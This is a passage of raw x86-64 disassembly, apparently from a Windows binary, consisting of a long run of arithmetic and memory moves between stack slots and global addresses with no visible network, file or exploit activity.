mov rcx, qword [rsp + 0x5ce0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6020], rax
mov rax, qword [rsp + 0x6248]
mov ecx, dword [rsp + 0x2a88]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6990]
mov dword [rcx], eax
lea rax, [rsp + 0x2ad4]
mov qword [rsp + 0x6d10], rax
mov rax, qword [rsp + 0x6648]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50f0], rax
movsx eax, byte [0x14017a0cc]
movsx ecx, byte [rsp + 0xf2]
sub eax, ecx
mov byte [0x140178e5c], al
movzx eax, word [rsp + 0x8f0]
mov word [rsp + 0xc1c], ax
movzx eax, byte [rsp + 0x12f]
mov rcx, qword [rsp + 0x5f90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov byte [rcx], al
movzx eax, word [rsp + 0xbc4]
movzx ecx, word [rsp + 0x9fc]
sub eax, ecx
mov word [rsp + 0x92c], ax
mov rax, qword [rsp + 0x5d40]
movzx eax, byte [rax]
mov byte [rsp + 0x148], al
mov rax, qword [rsp + 0x6468]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6840]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ac0], rax
mov rax, qword [rsp + 0x53b0]
mov qword [rsp + 0x6d18], rax
mov rax, qword [rsp + 0x6098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d34]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
lea rax, [rsp + 0x2aa8]
mov qword [rsp + 0x6d20], rax
movzx eax, byte [0x14017a0fc]
mov rcx, qword [rsp + 0x6668]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140178e5f], al
mov rax, qword [rsp + 0x5980]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5c20]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xbb4], ax
mov rax, qword [rsp + 0x5190]
movsx eax, word [rax]
movsx ecx, word [0x140178ed4]
and eax, ecx
mov word [rsp + 0x980], ax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x149], al
movsx eax, byte [rsp + 0x147]
mov rcx, qword [rsp + 0x5c58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x146], al
lea rax, [rsp + 0x5a38]
mov qword [rsp + 0x6d28], rax
mov rax, qword [rsp + 0x50d0]
mov rcx, qword [rsp + 0x5de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b0c], eax
mov rax, qword [rsp + 0x4f90]
mov rcx, qword [rsp + 0x5338]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5930]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ca8]
mov dword [rsp + 0x2da8], eax
movsx eax, word [0x140178eb8]
movsx ecx, word [rsp + 0xaf0]
add eax, ecx
mov word [rsp + 0xa10], ax
movzx eax, byte [rsp + 0xd3]
mov rcx, qword [rsp + 0x6a18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178ece], al
mov rax, qword [rsp + 0x6850]
movzx eax, word [rax]
mov word [rsp + 0xc20], ax
movsx eax, byte [rsp + 0x144]
movsx ecx, byte [rsp + 0x9f]
add eax, ecx
mov byte [rsp + 0x89], al
mov rax, qword [rsp + 0x62f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
sub eax, ecx
mov rcx, qword [rsp + 0x5098]
mov byte [rcx], al
mov eax, dword [0x14017a064]
mov dword [rsp + 0x2dac], eax
mov rax, qword [rsp + 0x5b80]
mov ecx, dword [rsp + 0x2c4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2abc], eax
mov rax, qword [rsp + 0x60a0]
mov qword [rsp + 0x6d30], rax
mov rax, qword [rsp + 0x5848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6618], rax
lea rax, [rsp + 0x5a]
mov qword [rsp + 0x6d38], rax
mov rax, qword [rsp + 0x5690]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x99c]
or eax, ecx
mov rcx, qword [0x14017a098]
mov word [rcx], ax
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [rsp + 0x10c]
sar eax, cl
mov rcx, qword [rsp + 0x53c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x65d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa3c]
shl eax, cl
mov word [rsp + 0xa6c], ax
lea rax, [rsp + 0x8ac]
mov qword [rsp + 0x6d40], rax
mov rax, qword [rsp + 0x6338]
mov rcx, qword [str.kD3]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5940], rax
mov rax, qword [rsp + 0x5a60]
mov rax, qword [rax]
mov qword [rsp + 0x6d48], rax
mov rax, qword [rsp + 0x50b0]
mov rcx, qword [rsp + 0x5cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b64], eax
mov eax, dword [rsp + 0x2a50]
mov ecx, dword [rsp + 0x2d68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bd8], eax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov word [rsp + 0xc24], ax
movsx eax, byte [rsp + 0xd0]
mov rcx, qword [rsp + 0x6c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178ecf], al
mov rax, qword [0x14017a358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa3c]
sub eax, ecx
mov rcx, qword [rsp + 0x6408]
mov word [rcx], ax
mov rax, qword [rsp + 0x5e80]
movzx eax, word [rax]
mov word [rsp + 0xc28], ax
mov rax, qword [rsp + 0x5e60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xba]
add eax, ecx
mov rcx, qword [rsp + 0x5f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x5b78]
mov rcx, qword [rsp + 0x5840]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5e90]
mov qword [rcx], rax
lea rax, [rsp + 0x2b24]
mov qword [rsp + 0x6d50], rax
mov rax, qword [rsp + 0x6690]
mov ecx, dword [0x14017a064]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ae0], eax
lea rax, [rsp + 0x5e58]
mov qword [rsp + 0x6d58], rax
movzx eax, byte [rsp + 0x9c]
movzx ecx, byte [rsp + 0x106]
add eax, ecx
mov rcx, qword [rsp + 0x5010]
mov byte [rcx], al
movsx eax, word [rsp + 0xa88]
movsx ecx, word [0x140178ec0]
add eax, ecx
mov word [0x140178f48], ax
movzx eax, word [rsp + 0xbc0]
mov rcx, qword [rsp + 0x64b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x950], ax
mov rax, qword [rsp + 0x6080]
movzx eax, byte [rax]
mov byte [rsp + 0x14a], al
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [0x14017a258]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x146], al
movzx eax, byte [rsp + 0x6a]
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0x6050]
movzx ecx, al
mov rax, qword [rsp + 0x4ea0]
shr rax, cl
mov qword [rsp + 0x59e0], rax
lea rax, [rsp + 0x2d84]
mov qword [rsp + 0x6d60], rax
mov rax, qword [rsp + 0x64c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [str.kD3]
shl rax, cl
mov rcx, qword [rsp + 0x5740]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5938]
mov ecx, dword [rsp + 0x2aa4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2a44], eax
mov rax, qword [0x14017a150]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab4]
and eax, ecx
mov word [0x140178f24], ax
lea rax, [rsp + 0x88c]
mov qword [rsp + 0x6d68], rax
mov rax, qword [rsp + 0x6cb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc1]
sub eax, ecx
mov byte [rsp + 0x128], al
movzx eax, byte [0x140178e8a]
mov byte [rsp + 0x14c], al
movzx eax, byte [rsp + 0x7a]
mov rcx, qword [rsp + 0x4f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x6a38]
mov ecx, dword [rsp + 0x2d18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a7c], eax
mov rax, qword [rsp + 0x5458]
mov qword [rsp + 0x6d70], rax
mov rax, qword [rsp + 0x53d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cf0], eax
mov rax, qword [rsp + 0x5860]
mov rax, qword [rax]
mov qword [rsp + 0x6d78], rax
movzx eax, word [rsp + 0x8c4]
mov rcx, qword [rsp + 0x6ad8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14017a140], ax
movsx eax, byte [rsp + 0xed]
movsx ecx, byte [rsp + 0x104]
add eax, ecx
mov rcx, qword [rsp + 0x5c58]
mov byte [rcx], al
movzx eax, byte [rsp + 0x145]
movzx ecx, byte [0x14017a054]
and eax, ecx
mov byte [rsp + 0x82], al
mov rax, qword [rsp + 0x66a0]
movzx eax, word [rax]
mov word [rsp + 0xc2c], ax
mov rax, qword [rsp + 0x51e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc10], ax
lea rax, [rsp + 0x58b0]
mov qword [rsp + 0x6d80], rax
mov rax, qword [rsp + 0x5130]
movzx ecx, al
mov rax, qword [rsp + 0x5678]
shl rax, cl
mov qword [rsp + 0x5d60], rax
mov rax, qword [rsp + 0x5738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c00]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c48], eax
mov rax, qword [rsp + 0x58f0]
mov eax, dword [rax]
mov dword [rsp + 0x2db0], eax
lea rax, [0x140178ebc]
mov qword [0x14017a4a8], rax
mov rax, qword [rsp + 0x5108]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xae]
sar eax, cl
mov rcx, qword [rsp + 0x6080]
mov byte [rcx], al
movzx eax, byte [rsp + 0x92]
mov byte [rsp + 0x14d], al
movzx eax, word [rsp + 0x9c8]
mov rcx, qword [rsp + 0x5298]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov word [rcx], ax
lea rax, [rsp + 0xaf4]
mov qword [rsp + 0x6d88], rax
mov rax, qword [rsp + 0x6d28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6500]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [0x140178e8c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b08], eax
lea rax, [rsp + 0x2c08]
mov qword [rsp + 0x6d90], rax
mov rax, qword [rsp + 0x58f8]
mov rcx, qword [rsp + 0x6cf8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
movzx eax, word [0x140178f04]
movzx ecx, word [rsp + 0x8c4]
sub eax, ecx
mov word [0x140178ea8], ax
mov rax, qword [rsp + 0x5120]
movzx eax, byte [rax]
mov byte [rsp + 0x14e], al
movzx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6970]
mov byte [rcx], al
mov rax, qword [0x14017a4a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5690]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6220]
mov word [rcx], ax
movzx eax, word [rsp + 0x9cc]
mov word [rsp + 0xc30], ax
mov rax, qword [rsp + 0x5388]
mov rcx, qword [rsp + 0x6690]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d38], eax
lea rax, [rsp + 0x5f40]
mov qword [rsp + 0x6d98], rax
mov rax, qword [rsp + 0x5b08]
mov rcx, qword [rsp + 0x5b50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ed8], rax
mov eax, dword [rsp + 0x2b7c]
mov ecx, dword [rsp + 0x2be4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c24], eax
movzx eax, byte [0x140178ea3]
mov byte [0x14017a0ff], al
lea rax, [rsp + 0x10f]
mov qword [rsp + 0x6da0], rax
movzx eax, word [rsp + 0x884]
movzx ecx, word [rsp + 0xb94]
and eax, ecx
mov rcx, qword [rsp + 0x60c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0x6028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbd8]
sar eax, cl
mov rcx, qword [rsp + 0x5e18]
mov word [rcx], ax
lea rax, [rsp + 0x2c50]
mov qword [rsp + 0x6da8], rax
mov rax, qword [rsp + 0x5000]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x64d8]
shl rax, cl
mov qword [rsp + 0x59d0], rax
mov rax, qword [rsp + 0x6858]
mov rcx, qword [rsp + 0x6800]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2c80], eax
mov rax, qword [rsp + 0x6d30]
mov qword [rsp + 0x6db0], rax
movzx eax, word [rsp + 0xa7c]
mov rcx, qword [0x14017a0d0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140178eac], ax
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa6]
add eax, ecx
mov byte [rsp + 0x5b], al
movzx eax, byte [rsp + 0xd8]
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0x5068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x52c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb50], ax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
and eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov word [rcx], ax
mov rax, qword [rsp + 0x65e0]
mov eax, dword [rax]
mov dword [rsp + 0x2db4], eax
mov rax, qword [rsp + 0x4dc8]
mov ecx, dword [rsp + 0x2d2c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d08]
mov rax, qword [rax]
mov qword [rsp + 0x6db8], rax
mov rax, qword [rsp + 0x6618]
mov rcx, qword [rsp + 0x5878]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5960]
mov qword [rcx], rax
lea rax, [rsp + 0x139]
mov qword [0x14017a4b0], rax
movsx eax, word [rsp + 0xaf8]
mov rcx, qword [rsp + 0x6700]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5670]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b08]
movzx eax, byte [rax]
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0x5400]
movzx eax, word [rax]
movzx ecx, word [0x140178f28]
sub eax, ecx
mov word [rsp + 0x9ec], ax
mov rax, qword [rsp + 0x53c8]
movzx eax, byte [rax]
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0x60e0]
mov rcx, qword [rsp + 0x5b50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5c78], rax
mov rax, qword [rsp + 0x5ef0]
mov rcx, qword [rsp + 0x5758]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d28], eax
mov rax, qword [rsp + 0x6228]
mov rax, qword [rax]
mov qword [rsp + 0x6dc0], rax
mov rax, qword [rsp + 0x5fe0]
mov rcx, qword [rsp + 0x57e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2da0], eax
lea rax, [0x140178e9a]
mov qword [rsp + 0x6dc8], rax
lea rax, [rsp + 0x928]
mov qword [0x14017a4b8], rax
mov rax, qword [rsp + 0x5968]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5868]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb6c], ax
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0x50d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5168]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x62e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ae0]
movzx ecx, al
mov rax, qword [rsp + 0x5dd0]
shl rax, cl
mov qword [rsp + 0x5950], rax
lea rax, [rsp + 0x6168]
mov qword [rsp + 0x6dd0], rax
mov rax, qword [rsp + 0x5ef0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x65c0]
mov qword [rsp + 0x6dd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6dd8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6328]
mov dword [rcx], eax
lea rax, [rsp + 0x2d60]
mov qword [rsp + 0x6de0], rax
movsx eax, word [rsp + 0xbfc]
movsx ecx, word [rsp + 0xb6c]
or eax, ecx
mov word [rsp + 0xc10], ax
movzx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x58b8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178e5f], al
mov rax, qword [rsp + 0x6b40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5478]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9b4], ax
movzx eax, word [rsp + 0x89c]
mov word [rsp + 0xc34], ax
mov rax, qword [rsp + 0x6090]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14b]
add eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
mov eax, dword [rsp + 0x2cb0]
mov dword [rsp + 0x2db8], eax
mov eax, dword [rsp + 0x2d48]
mov ecx, dword [rsp + 0x2c10]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6530]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5c80]
mov rcx, qword [rsp + 0x5c30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6bb8], rax
mov rax, qword [rsp + 0x5c60]
mov rax, qword [rax]
mov qword [rsp + 0x6de8], rax
mov rax, qword [rsp + 0x6578]
movzx eax, word [rax]
movzx ecx, word [reloc.SHELL32.dll_SHGetImageList]
add eax, ecx
mov word [rsp + 0xb94], ax
mov rax, qword [rsp + 0x5c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa1]
sub eax, ecx
mov byte [0x140178ed2], al
movzx eax, word [rsp + 0xa18]
mov word [rsp + 0xc38], ax
mov rax, qword [rsp + 0x5c08]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e75]
sub eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x55e0]
movzx eax, byte [rax]
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x55a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6948], rax
mov eax, dword [rsp + 0x2af4]
mov rcx, qword [rsp + 0x53e0]
mov qword [rsp + 0x6df0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6df0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2ab8], eax
mov rax, qword [rsp + 0x6178]
mov rax, qword [rax]
mov qword [rsp + 0x6df8], rax
mov rax, qword [rsp + 0x6c90]
mov ecx, dword [rsp + 0x2a8c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2acc], eax
mov rax, qword [0x14017a378]
movzx eax, byte [rax]
mov byte [rsp + 0x155], al
movzx eax, word [rsp + 0x8c4]
movzx ecx, word [rsp + 0x990]
xor eax, ecx
mov word [0x14017a200], ax
movzx eax, byte [rsp + 0x75]
movzx ecx, byte [rsp + 0xdb]
shl eax, cl
mov byte [rsp + 0x101], al
movsx eax, word [0x140178ec8]
movsx ecx, word [rsp + 0xa9c]
and eax, ecx
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
lea rax, [rsp + 0xc9]
mov qword [rsp + 0x6e00], rax
mov rax, qword [rsp + 0x5f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x63c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x100], al
lea rax, [0x140178e8c]
mov qword [rsp + 0x6e08], rax
mov rax, qword [rsp + 0x6228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ce0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5850]
mov qword [rcx], rax
mov rax, qword [rsp + 0x62b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5970]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b78]
mov qword [rcx], rax
lea rax, [0x14017a060]
mov qword [rsp + 0x6e10], rax
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
sub eax, ecx
mov rcx, qword [0x14017a4a8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11c]
movsx ecx, byte [rsp + 0x119]
and eax, ecx
mov byte [rsp + 0x8c], al
lea rax, [rsp + 0xa4c]
mov qword [rsp + 0x6e18], rax
movsx eax, word [rsp + 0xa28]
mov rcx, qword [rsp + 0x5690]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x880], ax
mov rax, qword [rsp + 0x4e70]
movzx eax, word [rax]
movzx ecx, word [0x14017a350]
add eax, ecx
mov word [rsp + 0x918], ax
mov rax, qword [rsp + 0x52b8]
mov qword [rsp + 0x6e20], rax
mov rax, qword [rsp + 0x54e8]
mov rcx, qword [rsp + 0x5088]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x50a0]
mov qword [rcx], rax
lea rax, [rsp + 0x2c10]
mov qword [rsp + 0x6e28], rax
mov eax, dword [rsp + 0x2cb0]
mov ecx, dword [rsp + 0x2b44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6260]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6038]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x140178ed3], al
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x156], al
mov rax, qword [0x14017a068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac4]
sar eax, cl
mov word [rsp + 0x8f4], ax
movzx eax, byte [rsp + 0xcb]
mov rcx, qword [rsp + 0x5010]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x57], al
movzx eax, byte [rsp + 0x10b]
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x51f8]
mov rcx, qword [rsp + 0x5270]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2d0c], eax
mov rax, qword [rsp + 0x6758]
mov qword [rsp + 0x6e30], rax
mov rax, qword [rsp + 0x5370]
mov rcx, qword [rsp + 0x5850]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5fb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x64b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2acc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a40], eax
mov rax, qword [rsp + 0x6b88]
movzx eax, byte [rax]
mov byte [0x14017a142], al
movzx eax, word [rsp + 0xac0]
mov word [rsp + 0xc3c], ax
mov rax, qword [0x14017a2a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa98]
sub eax, ecx
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
mov rax, qword [rsp + 0x6688]
movzx eax, byte [rax]
mov byte [rsp + 0x158], al
movzx eax, word [rsp + 0xbec]
movzx ecx, word [rsp + 0xa50]
sub eax, ecx
mov rcx, qword [rsp + 0x5640]
mov word [rcx], ax
mov eax, dword [rsp + 0x2d24]
mov ecx, dword [rsp + 0x2ac8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b50], eax
lea rax, [rsp + 0x55d0]
mov qword [rsp + 0x6e38], rax
mov rax, qword [rsp + 0x50c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ca0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2abc], eax
mov rax, qword [rsp + 0x51d8]
mov rax, qword [rax]
mov qword [rsp + 0x6e40], rax
mov rax, qword [rsp + 0x67e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x62f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178e5f], al
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x69d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5980]
mov word [rcx], ax
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5910]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5390]
movzx eax, byte [rax]
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x5d30]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a0fa]
add eax, ecx
mov byte [rsp + 0x136], al
mov eax, dword [rsp + 0x2d88]
mov dword [rsp + 0x2dbc], eax
mov eax, dword [rsp + 0x2ac4]
movzx ecx, al
mov eax, dword [rsp + 0x2b4c]
sar eax, cl
mov dword [rsp + 0x2ab8], eax
lea rax, [rsp + 0x5a50]
mov qword [rsp + 0x6e48], rax
mov rax, qword [rsp + 0x6580]
mov rcx, qword [rsp + 0x4e60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5940], rax
mov rax, qword [rsp + 0x56e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e28]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140178f4c], ax
movzx eax, byte [0x14017a0fb]
movzx ecx, byte [rsp + 0x7f]
shl eax, cl
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0x5958]
movzx eax, word [rax]
mov word [rsp + 0xc40], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b88]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6e], al
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x6370]
mov rcx, qword [rsp + 0x6a98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5458], rax
mov rax, qword [rsp + 0x5160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bf8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29c4], eax
lea rax, [0x140178e8c]
mov qword [rsp + 0x6e50], rax
mov rax, qword [rsp + 0x5f38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5950]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5718], rax
movzx eax, word [rsp + 0x9f4]
movzx ecx, word [rsp + 0x950]
add eax, ecx
mov rcx, qword [0x14017a0d8]
mov word [rcx], ax
movzx eax, word [rsp + 0xaf4]
mov word [rsp + 0xc44], ax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0x5ed0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5980]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xac8], ax
movzx eax, byte [rsp + 0x143]
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x4ea0]
mov rcx, qword [rsp + 0x6758]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x57c8]
mov qword [rsp + 0x6e58], rax
mov eax, dword [rsp + 0x2d0c]
mov ecx, dword [rsp + 0x2b18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c68], eax
mov eax, dword [rsp + 0x2dac]
mov dword [rsp + 0x2dc0], eax
movzx eax, word [rsp + 0xc14]
movzx ecx, word [rsp + 0xb44]
xor eax, ecx
mov rcx, qword [0x14017a3a0]
mov word [rcx], ax
mov rax, qword [0x14017a2d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6d00]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x6398]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xec]
sar eax, cl
mov byte [rsp + 0x66], al
mov rax, qword [rsp + 0x5910]
movzx eax, word [rax]
mov word [rsp + 0xc48], ax
mov rax, qword [0x14017a188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x66b0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x64d0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2ba8]
mov dword [rsp + 0x2dc4], eax
mov rax, qword [rsp + 0x54a8]
mov rcx, qword [rsp + 0x5a28]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5570], rax
mov rax, qword [rsp + 0x60e0]
